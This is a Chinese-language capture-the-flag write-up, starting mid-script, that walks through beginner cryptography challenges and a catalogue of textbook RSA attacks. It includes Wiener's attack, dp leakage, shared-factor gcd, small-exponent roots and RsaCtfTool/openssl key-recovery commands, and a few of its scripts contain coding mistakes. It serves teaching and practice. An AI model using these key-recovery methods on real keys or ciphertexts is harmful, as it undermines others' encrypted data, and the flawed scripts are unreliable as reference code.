        f.write(str(md5_hash(t))+'\n')

# 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
# 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
# 4a8a08f09d37b73795649038408b5f33
# 03c7c0ace395d80182db07ae2c30f034
# e1671797c52e15f763380b45e841ec32
# b14a7b8059d9c055954c92674ce60032
# e358efa489f58062f10dd7316b65649e
# cfcd208495d565ef66e7dff9f98764da
# b14a7b8059d9c055954c92674ce60032
# 8fa14cdd754f91cc6554c9e71929cce7
# 0cc175b9c0f1b6a831c399e269772661
# 4a8a08f09d37b73795649038408b5f33
# e358efa489f58062f10dd7316b65649e
# cfcd208495d565ef66e7dff9f98764da
# 4b43b0aee35624cd95b910189b3dc231
# cbb184dd8e05c9709e5dcaedaa0495cf

flag分为两部分,第一部分用了RSA加密,这部分的p​和q​其实很近,但是yafu可以分解,第二部分是用md5加密,可以爆破:

from Crypto.Util.number import long_to_bytes
import gmpy2
import hashlib

# strings = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm/'_}{-"
# for t in strings:
#     hash1 = hashlib.md5(t.encode()).hexdigest()
#     if hash1 == "cbb184dd8e05c9709e5dcaedaa0495cf":
#         print(t)

#cse_t0_fact0r} 手撕出来的

p = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993841
q = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993409
e = 65537
n = p * q
c = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
phi = (p-1) * (q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
# b'flag{two_cloab\xdbxD-K\x01J\xe5'
# flag{two_cloabcse_t0_fact0r}

Rotate Xor

题目:

from secret import flag
from os import urandom
from pwn import xor
from Cryptodome.Util.number import *
k1 = getPrime(64)
k2 = getPrime(64)
ROUND = 12
ciphertext = xor(flag, long_to_bytes(k1))
def round_rotate_left(num, step):
    return ((num) << step | num >> (64-step)) & 0xffffffffffffffff
def encrypt_key(key):

    for _ in range(ROUND):
        key = round_rotate_left(key, 3) ^ k2

    return key
print('ciphertext =', ciphertext)
print('enc_k1 =', encrypt_key(k1))
print('k2 =', k2)

# ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
# enc_k1 = 7318833940520128665
# k2 = 9982833494309156947

有四个位运算,

image

其余的按照逻辑逆向回去就好了:

from Crypto.Util.number import long_to_bytes
from pwn import xor
step = 3
enc_k1 = 7318833940520128665
k2 = 9982833494309156947
for i in range(12):
    enc_k1 = enc_k1 ^ k2
    enc_k1 = (enc_k1 >> step | enc_k1 << 64-step & 0xffffffffffffffff) & 0xffffffffffffffff
    # print(enc_k1)

ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
k1 = long_to_bytes(enc_k1)
flag = xor(ciphertext,k1)
print(flag)

partial decrypt

题目:

from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q = getPrime(512)

n = p*q 

c = pow(m,e,n)

dp = inverse(e, (p-1))
dq = inverse(e, (q-1))
m1 = pow(c,dp, p)
m2 = pow(c,dq, q)
q_inv = inverse(q, p)
h = (q_inv*(m1-m2)) % p
print('m2 =', m2)
print('h =', h)
print('q =', q)

# m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
# h = 4180720137090447835816240697100630525624574275
# q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

首先,我们需要在在生成私钥公钥时,多生成几个数:
我们的d是e对Φ(n)的逆元,我们现在需要另外2个逆元(分别是对(p-1)和(q-1)的),即:

  1. 计算dP,使得dPe = 1 mod(p-1),即 dP = (1/e) mod (p-1)
  2. 2:计算dQ,使得dQe = 1 mod(q-1),即dQ = (1/e) mod (q-1)
    此外需要第三个元素,既q对p的逆元
  3. 计算qInv,使得qInv * q = 1 mod p,即qInv = (1/q) mod p
    私钥是 (p, q, dP, dQ, qInv)

计算:
使用公钥加密:
若要加密明文m,则需要计算c = m^e mod n,c为密文。

使用私钥解密:
m1=c^dP mod p
m2=c^dQ mod q
h= q_inv(m1-m2) mod p
m = m2 + hq
m就是明文。

from Crypto.Util.number import *

m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
h = 4180720137090447835816240697100630525624574275
q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931
m = m2 + h*q

strings = long_to_bytes(m)
print(strings)

从NewStar week1入门 Crypto

灵感来自于某一年提出的单兵计划(其实是自己懒拖到现在才开始)密码学自己真的从来没有接触过。从0开始的,👴们勿喷呜呜呜

babyrsa | 已知 公钥(n, e) 和 密文 c 求 明文 m

from Crypto.Util.number import *
from flag import flag

def gen_prime(n):
    res = 1

    for i in range(15):
        res *= getPrime(n)

    return res

if __name__ == '__main__':
    n = gen_prime(32)
    e = 65537
    m = bytes_to_long(flag)
    c = pow(m,e,n)
    print(n)
    print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

先用yafu分离n​为 q 和 p,将n​另存为data.txt的时候记得最后要换行。

\yafu-x64.exe "factor(@)" -batchfile data.txt

然后写脚本还原即可:

import libnum
from Crypto.Util.number import long_to_bytes

c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
#n = int("",16)
e = 65537
#e = int("",16)
P1 = 4278428893
P2 = 3207148519
P3 = 2804303069
P4 = 2923072267
P5 = 2706073949
P6 = 3939901243
P7 = 2970591037
P8 = 2463878387
P9 = 2370292207
P10 = 2338725373
P11 = 3654864131
P12 = 2217990919
P13 = 3831680819
P14 = 2794985117
P15 = 4093178561

d = libnum.invmod(e, (P1 - 1) * (P2 - 1) * (P3 - 1) * (P4 - 1) * (P5 - 1) * (P6 - 1) * (P7 - 1) * (P8 - 1) * (P9 - 1) * (P10 - 1) * (P11 - 1) * (P12 - 1) * (P13 - 1) * (P14 - 1) * (P15 - 1))
m = pow(c, d, n)   # m 的十进制形式
string = long_to_bytes(m)  # m明文
print(string)  # 结果为 b‘ m ’ 的形式

Small d | 维纳攻击

from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

脚本:

import gmpy2
import libnum

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf
def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator
def solve_pq(a, b, c):
    """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
    :param a:x^2的系数
    :param b:x的系数
    :param c:pq
    :return:p,q
    """
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf

def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d

n= 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
e= 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
c= 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248

d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())

babyxor | 异或

from secret import *

ciphertext = []

for f in flag:
    ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

被异或后,然后再异或一次就是原文。

注意一个地方,异或要以str​或者int​形式进行异或,byte​不行

key = 0x8f
ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"

ciphertext_bytes = bytes.fromhex(ciphertext_hex)

plaintext = []
for byte in ciphertext_bytes:
    decrypted_byte = byte ^ key
    plaintext.append(decrypted_byte)

flag = ''.join([chr(byte) for byte in plaintext])

print(flag)

Affine | 仿射密码

from flag import flag, key

modulus = 256

ciphertext = []

for f in flag:
    ciphertext.append((key[0]*f + key[1]) % modulus)

print(bytes(ciphertext).hex())

# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

image

from Crypto.Util.number import *
from gmpy2 import *
ciphertext_hex = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
print(ciphertext_bytes)
ciphertext_bytes = "\xddC\x88\xeeB\x8b\xdd\xddXe\xccf\xaaX\x87\xff\xcc\xa9f\x10\x9cf\xed\xcc\xa9 fz\x881 d"
# for f in flag:
#     ciphertext.append((key[0]*f + key[1]) % modulus) 和mod一样
for a in range(256):
    for b in range(256):
        flag = ''
        a = inverse(a,256) #inverse求逆元
        for i in ciphertext_bytes :
            flag += chr((ord(i)-b)*a %256)
        if 'flag' in flag:
            print(flag)
# from Crypto.Util.number import *
# from gmpy2 import *
# c=0xdd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064
# c='\xddC\x88\xeeB\x8b\xdd\xddXe\xccf\xaaX\x87\xff\xcc\xa9f\x10\x9cf\xed\xcc\xa9 fz\x881 d'
# for a in range(256):
#     for b in range(256):
#         flag=''
#         a_=inverse(a,256)
#         for i in c:
#             flag+=chr((ord(i)-b)*a_ %256)
#         if 'flag' in flag:
#             print(flag)

babyaes | aes_cbc模式

from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *

def pad(data):
    return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])

def main():
    flag_ = pad(flag)
    key = os.urandom(16) * 2
    iv = os.urandom(16)
    print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
    aes = AES.new(key, AES.MODE_CBC, iv)
    enc_flag = aes.encrypt(flag_)
    print(enc_flag)

if __name__ == "__main__":
    main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

使用了一个密钥 Key 和初始化向量 IV,选择的CBC模式加密

urandom:

语法  os.urandom(size)
参数:
    size:字符串随机字节的大小
    返回值:该方法返回一个字符串,该字符串表示适合加密使用的随机字节。
例 os.urandom(1)
输出:b'\x91'
二进制:10010001 (8bits)

os.urandom()与十六进制\xhh

os.urandom()​函数在python官方文档中做出了这样的解释:
Return a string of n random bytes suitable for cryptographic use.
即返回一个长为n​个bytes的string,然后很适合用于加密。python的这个函数实际上是在读取OS操作系统提供的随机源,关于加密应用暂且不考虑。

测试一下:

for i in range(10):
    print(os.urandom(i))

output:

b''
b'6'
b'Rj'
b'}\x13\xca'
b't\xc79w'
b'UF^f\x8b'
b'D\xf6\x14b\xd9n'
b'\xe4\xa5\xc1\t\x0b\xf4u'
b'\x8d\x94A\xd4qO\x07\x9d'
b'\x86Q\xe2\n\xfa\xaa\xf0\xd5H'

为了方便确认这个是个字符串的长度,调整代码:

for i in range(10):
    print(len(os.urandom(i)))
# 0
# 1
# 2
# 3
# 4
# 5
# 6
# 7
# 8
# 9

即,在较长字符串中\x​的作用域只有后面紧跟的两字符,而我们知道十六进制表示成二进制0000​~1111​占4bits,其中0000​为十进制0、1111​为十进制15。所以两个十六进制位数正好是8bits​,即一个byte,是这样再看urandom​的输出:

b''---0 byte
b'6'---1 byte
b'Rj'---2 bytes
b'}\x13\xca'---1+1+1---3 bytes
b't\xc79w'---1+1+2---4 bytes
b'UF^f\x8b'---4+1---5 bytes
b'D\xf6\x14b\xd9n'----1+1+1+1+1+1---6 bytes
key=os.urandom(16)*2
iv=os.urandom(16)

可知:key是32bytes,256bits ;iv是16bytes ,128bits

key^iv​ ,那么只有 iv 与 key的低128位相异或,所以key的高128位是固定不变的。所以输出结果的高128bits,就是key的高128bits,进而可以得到key的所有值256bits。

之后key的低128bits,与输出结果的低128bits和1 相异或,所得结果就是 iv的值了

key,iv得到后直接aes.decrypt()​解密就ok了

#python3
from Crypto.Cipher import AES
import os
from gmpy2 import*
from Crypto.Util.number import*

xor = 3657491768215750635844958060963805125333761387746954618540958489914964573229
enc_flag = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

out=long_to_bytes(xor)
# print(out)
key = out[:16]*2
# print(key)
iv = bytes_to_long(key[16:]) ^ bytes_to_long(out[16:]) ^ 1
iv = long_to_bytes(iv)
print(iv)
aes = AES.new(key,AES.MODE_CBC,iv)
flag = aes.decrypt(enc_flag)
print(flag)
# #python3
# from Crypto.Cipher import AES
# import os
# from gmpy2 import*
# from Crypto.Util.number import*

# xor = 91144196586662942563895769614300232343026691029427747065707381728622849079757
# enc_flag = b'\x8c-\xcd\xde\xa7\xe9\x7f.b\x8aKs\xf1\xba\xc75\xc4d\x13\x07\xac\xa4&\xd6\x91\xfe\xf3\x14\x10|\xf8p'
# out = long_to_bytes(xor)
# key = out[:16]*2
# # print(key)
# iv = bytes_to_long(key[16:])^bytes_to_long(out[16:])
# # print(iv)
# iv = long_to_bytes(iv)
# # print(iv)
# aes = AES.new(key,AES.MODE_CBC,iv)
# flag = aes.decrypt(enc_flag)
# print(flag)

入门题型整理

rsa加密的过程:

  • 随便找出两个 整数 q 和 p (q,p互素,即:公因数只有1)
  • *求出n = q p ​**
  • φ(n) = (p-1)*(q-1)欧拉公式
  • 公钥 e :随机取,要求 :e ​和 ​φ(n)互素(公因数只有 1;**1< e < φ(n)**);
  • 私钥 d :​ ed ≡ 1 (mod φ(n)) ​​(ed 除以 φ(n) 的 余数 为 1 )

已知 p ,q,e求 d |(ed 除以 (q-1)(p-1) 的 余数 为 1 )

import gmpy2
p = 38456719616722997
q = 44106885765559411
e = 65537

s = (p-1)*(q-1)
d = gmpy2.invert(e,s)
print ("dec: " + str(d))
print ("hex: " +  hex(d))

已知 公钥(n, e) 和 密文 c 求 明文 m

见上面题解babyrsa

已知密文文件 flag.enc/cipher.bin/flag.b64 和 公钥文件 pubkey.pem /key.pem /key.pub求解明文 m

方法一:(key.pem 和 cipher.bin)

直接用 RsaCtfTool​进行破解:

python3 RsaCtfTool.py --publickey key.pem --uncipherfile cipher.bin

image

方法二:(flag.b64 和 key.pub)

先处理flag.b64(将flag.b64​中的内容进行解 base64操作)

使用 notepad++ 打开 flag.b64​文件使用 插件中的 MIME Tools ​​中的 base64 decode ​​将文件内容解密,然后另保存为 flag.enc​ 文件

然后使用 RsaCtfTool 工具进行破解:

python3 RsaCtfTool.py --publickey /root/desktop/share/key.pem --uncipherfile /root/desktop/share/flag.enc

image

方法三:提取 pubkey.pem 中的 参数

openssl rsa -pubin -text -modulus -in warmup -in pubkey.pem

其次,用 yafu 分解 n 得到 q,p

然后 制作 私钥 :生成私钥文件 ​ private.pem

python rsatool.py -o private.pem -e 65537 -p 275127860351348928173285174381581152299 -q 319576316814478949870590164193048041239

最后 用private.pem文件 解密 flag.enc文件

openssl rsautl -decrypt -in flag.enc -inkey private.pem

已知私钥 private.pem 和密文 flag.enc

方法一:利用 rsactftool。

python RsaCtfTool.py --private private.pem  --uncipherfile flag.enc

方法二:利用 openssl:

openssl rsautl -decrypt -in flag.enc -inkey private.pem

已知c ,e,n(非常大),和 dp,dq,求解明文m

领航杯2019的一道题,EasyRSA:给了e, n, c,由于特别大,没法直接用质因数分解求得 q, p

还给了

qhint   =  q  % (p - 1)     #  其实 qhint  = dq
phint   =  d  % (p - 1)     #  其实 phint  = dp
import gmpy2
import libnum
e=65537
n=16969752165509132627630266968748854330340701692125427619559836488350298234735571480353078614975580378467355952333755313935516513773552163392952656321490268452556604858966899956242107008410558657924344295651939297328007932245741660910510032969527598266270511004857674534802203387399678231880894252328431133224653544948661283777645985028207609526654816645155558915197745062569124587412378716049814040670665079480055644873470756602993387261939566958806296599782943460141582045150971031211218617091283284118573714029266331227327398724265170352646794068702789645980810005549376399535110820052472419846801809110186557162127
dp=1781625775291028870269685257521108090329543012728705467782546913951537642623621769246441122189948671374990946405164459867410646825591310622618379116284293794090970292165263334749393009999335413089903796624326168039618287078192646490488534062803960418790874890435529393047389228718835244370645215187358081805
c=0x6c78dcee37830f3ec4ab4989d40fbb595060b3fbc395d52ad26defc13372c1a3948c5388f4e450e46e016c7803133d6881e5efc3b90a4789448097c94124590b1e7949f2524d7edccd61a27691c18d090ac1f54643b563141306045417581e3b263f4ad2816136a48b106f3058b08e2a810f4ae8ef25916cc110b41ac8158ce69ecbe20fc60c1ddb20154c6646bc5142aefe47abf053a8ac949d5bc057bb18b191ad08070fe9ec5d76b1fceae685514532448c1b388b2d38e7241ac19c296e95e4e021a3a4015d909a1d53a2eb7fa86f6329f4e6c937f958be576c58fab4d9c9126999c99bb28718efc41a6f5db52b47942a2ddf21639f020b5489699cf22b46

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)//i)+1)==0:
            p=((dp*e-1)//i)+1
            q=n//(((dp*e-1)//i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            print(libnum.n2s(pow(c,d,n)))

image

已知n(非常大),e,d求p,q(无法直接 从n分解)

# python2
from gmpy2 import invert
from md5 import md5
from secret import p,q

e = 65537
n = p*q
phi = (p-1)*(q-1)
d = invert(e,phi)

print n,e,d
print "flag{%s}" % md5(str(p+q)).hexdigest()
#python 2
import random
from md5 import md5

def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a

def getpq(n,e,d):
    p = 1
    q = 1
    while p==1 and q==1:
        k = d * e - 1
        g = random.randint ( 0 , n )
        while p==1 and q==1 and k % 2 == 0:
            k /= 2
            y = pow(g,k,n)
            if y!=1 and gcd(y-1,n)>1:
                p = gcd(y-1,n)
                q = n/p
    return p,q

def main():
    n = 16352578963372306131642407541567045533766691177138375676491913897592458965544068296813122740126583082006556217616296009516413202833698268845634497478988128850373221853516973259086845725813424850548682503827191121548693288763243619033224322698075987667531863213468223654181658012754897588147027437229269098246969811226129883327598021859724836993626315476699384610680857047403431430525708390695622848315322636785398223207468754197643541958599210127261345770914514670199047435085714403641469016212958361993969304545214061560160267760786482163373784437641808292654489343487613446165542988382687729593384887516272690654309
    e = 65537
    d = 9459928379973667430138068528059438139092368625339079253289560577985304435062213121398231875832264894458314629575455553485752685643743266654630829957442008775259776311585654014858165341757547284112061885158006881475740553532826576260839430343960738520822367975528644329172668877696208741007648370045520535298040161675407779239300466681615493892692265542290255408673533853011662134953869432632554008235340864803377610352438146264524770710345273439724107080190182918285547426166561803716644089414078389475072103315432638197578186106576626728869020366214077455194554930725576023274922741115941214789600089166754476449453
    p,q = getpq(n,e,d)
        print p 
        print q
        print "Flag: flag{%s}" %md5(str(p + q)).hexdigest()
if __name__ == '__main__':
    main()

提取私钥中的信息

python RsaCtfTool.py --key private.pem  --dumpkey

用公钥pub.key/pub.pem文件生成 私钥文件

python RsaCtfTool.py --publickey pubkey.pem  --private > private.pem

python RsaCtfTool.py --publickey pub.key  --private > private.key

n分解出多个不同的因子时 ,求明文m

    n= 544187306850902797629107353619267427694837163600853983242783
    e= 39293
    c= 439254895818320413408827022398053685867343267971712332011972
    m=???

对n进行质因数分解,得到了3个质因数,(这里知道欧拉公式的性质的话 就很好解)

φ(x * y * z) = φ(x) * φ(y) * φ(z)=(x-1)(y-1)(z-1)

image

# python2
import gmpy2
from Crypto.Util.number import long_to_bytes

n= 544187306850902797629107353619267427694837163600853983242783
e= 39293
c= 439254895818320413408827022398053685867343267971712332011972
p1 = 67724172605733871
p2 = 11571390939636959887
p3 = 694415063702720454699679
phi = (p1-1)*(p2-1)*(p3-1)  
d = gmpy2.invert(e, phi)  
m = pow(c, d, n)  
print long_to_bytes(m) 

爆破攻击

低加密指数分解攻击(比如 e=2,e=3)

在 RSA 中 e 也称为加密指数。由于 e 是可以随意选取的,选取小一点的 e 可以缩短加密时间(比如 e=2,e=3),但是选取不当的话,就会造成安全问题。

下面就是e选取的太小导致存在的安全问题:

e=2把密文c开平方求解

RSA加密,由于e只有2,相当于把明文m平方而已,得到的c也比n小很多。尝试把c开根号看能否得到明文。一般的python开根号方法精度较低,对大整数开出来的根号准确度低。

发现使用gmpy2​库可以对大整数开根号。

eg. RSA
已知:

e=2

c=9217979941366220275377875095861710925207028551771520610387238734819759256223080175603032167658086669886661302962985046348865181740591251321966682848536331583243529

求明文m?
import gmpy2
import libnum
c = 9217979941366220275377875095861710925207028551771520610387238734819759256223080175603032167658086669886661302962985046348865181740591251321966682848536331583243529
m = gmpy2.isqrt(c)
m = int(m)
m_text = libnum.n2s(m)  #将 十六进制转为 字符
print(m_text)

# flag1{Th1s_i5_wHat_You_ne3d_FirsT}

e=3 小明文攻击

适用情况:e较小,一般为3。公钥e很小,明文m也不大的话,于是m^e=k*n+c ​​中的的k值很小甚至为0,爆破k或直接开三次方即可。​

eg . Jarvis OJ -Crypto-Extremely RSA

给了​ flag.enc ​​和 pubkey.pem​ 文件

image

因为e=3,很可能存在小名文攻击,

可以假设,k为0,将 c直接开三次方就可以得到明文 m

Roll按行加密(加密是按行进行的)

eg . 实验吧---RSAROLL

n为920139713

e为19

首先把加密的部分另存为一份文件roll.txt

image

import gmpy2
from Crypto.Util.number import long_to_bytes

n = 920139713
p = 49891
q = 18443
e = 19
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = ""
with open('roll.txt','r') as f:
    for c in f.readlines():
        c = int(c)
        #m += long_to_bytes(pow(int(c), d, n))

        md = str(pow(c, d, n))
        m += chr(int(md))
print(m)

#flag{13212je2ue28fy71w8u87y31r78eu1e2}

模不互素(存在两个或更多模数 n 且N1和N2不互质)

存在两个或更多模数,且gcd(N1,N2)!=1 ​​也就是N1和N2不互质。

适用于,n超级大,用 yafu 的factor分解不了 的情况

N1 = 18674375108313094928585156581138941368570022222190945461284402673204018075354069827186085851309806592398721628845336840532779579197302984987661547245423180760958022898546496524249201679543421158842103496452861932183144343315925106154322066796612415616342291023962127055311307613898583850177922930685155351380500587263611591893137588708003711296496548004793832636078992866149115453883484010146248683416979269684197112659302912316105354447631916609587360103908746719586185593386794532066034112164661723748874045470225129298518385683561122623859924435600673501186244422907402943929464694448652074412105888867178867357727
e1 = 65537
message is 0x8BD7BF995BF9E16A0D04ADB49A2411C74FFDB0DB4F35DB3A79A1B44691947C9824085BC4CA5F7F4EFA3C8FD0BC3E870AA6D5E15307A63A2172C44C5903D35785B8D06B51651EE7106B070D5A6AABA089AB67609661265B74914C865F863DC1D2DC08CE0B026107A74EC3FDC62666B50110B9D15A243EAAD6F53646929A3369285404868E42DD0BBE92D956018E3C0B36EF5E9516E433228CFDD06D6E662EC0A9A31061EA11F61CA17EABF43D2D4977FC9D6FC53AB6DC01509401B8D9A46B59A9ADAA97D54CC50C27445E4C21B893510620EC3566AD6E8727FA147437B207505217E6F2DF009E2286C8354D281374D7802D08A2062FE48DBF135BBCAB120EBF84

N2 = 20071978783607427283823783012022286910630968751671103864055982304683197064862908267206049336732205051588820325894943126769930029619538705149178241710069113634567118672515743206769333625177879492557703359178528342489585156713623530654319500738508146831223487732824835005697932704427046675392714922683584376449203594641540794557871881581407228096642417744611261557101573050163285919971711214856243031354845945564837109657494523902296444463748723639109612438012590084771865377795409000586992732971594598355272609789079147061852664472115395344504822644651957496307894998467309347038349470471900776050769578152203349128951
e2 = 65537
message is 0x8C3CF3161AA3E37831030985C60566A7604688B73E5B1D3B36E72EF06ED4F71289EFE80E0D94BD755034E6C210F17DA85B9D0388F3AD104C68BC514A8EB1569A109EB5F266F7C5FA4DDFA638258949B43D4CF1406720CCD4CA11E74FDF8AEB35C56A79781C87157FC4213573329C5B0FF411F8A4F34580AA103DB9FD403C0D409FA11860A7C4595FDC49DC2CF94E5112B772E5DEC8F17E24B10A7FD7A95DCB87BE5E27C32FC931574A7847BC506A61EFE9DB3D3F612143845FE80D7B3EA548B886A67A29CBDB2775B1F91178B6DA763F1A6ECFF46592E4C7FFAAB6C9FEF29D9CB9E035A3D98ECFFB26BA2EEAA56D1CD096E6A2CF9A58086CAD7718DDA5CB0C1B

由于不能直接 分解 n ,只能先找出 n1,n2 的公因数作为 q ,再拿n1 ,n2 除以 q 得到 p1 和p2

然后在解密 :

# python2
#!/usr/bin/python 
#coding:utf-8 
import gmpy2  
from Crypto.Util.number import long_to_bytes  

lines = open('tmp.txt','r').readlines()  

c1 = int(lines[2],16)  
c2 = int(lines[6],16)  
n1 = int(lines[0])  
n2 = int(lines[4])  

p1 = gmpy2.gcd(n1, n2)  
assert (p1 != 1)  
p2 = n1 / p1  
p3 = n2 / p1  
e = 0x10001  
d1 = gmpy2.invert(e, (p1 - 1) * (p2 - 1))  
d2 = gmpy2.invert(e, (p1 - 1) * (p3 - 1))  
m1 = pow(c1, d1, n1)  
m2 = pow(c2, d2, n2)  
print long_to_bytes(m1)+long_to_bytes(m2) 

判定 x 和 y 是否互素:

#判断两个数是否互素

def gcd(a, b):  # 判断来两个数是否互素,辗转相除法
    if (b == 0):
        return a
    else:
        return gcd(b, a % b)

def main():
    x = 17  # x,y的值根据需要修改即可
    y = 65537
    if gcd(x, y) == 1:  # 如果两个数的最大公约数是1,那么两数互素。
        print(str(x) + " " + str(y) + "  两个数互素")
    else:
        print(str(x) + " " + str(y) + " 两个数不互素")

if __name__ == "__main__":
    main()

共模攻击(m,n相同;e,c不同,且e1 和 e2互质)

适用情况:明文m、模数n相同,公钥指数e、密文c不同,gcd(e1,e2)==1也就是e1和e2互质。

对同一明文的多次加密使用相同的模数和不同的公钥指数可能导致共模攻击。

eg . Jarvis OJ -Crypto-very hard RSA

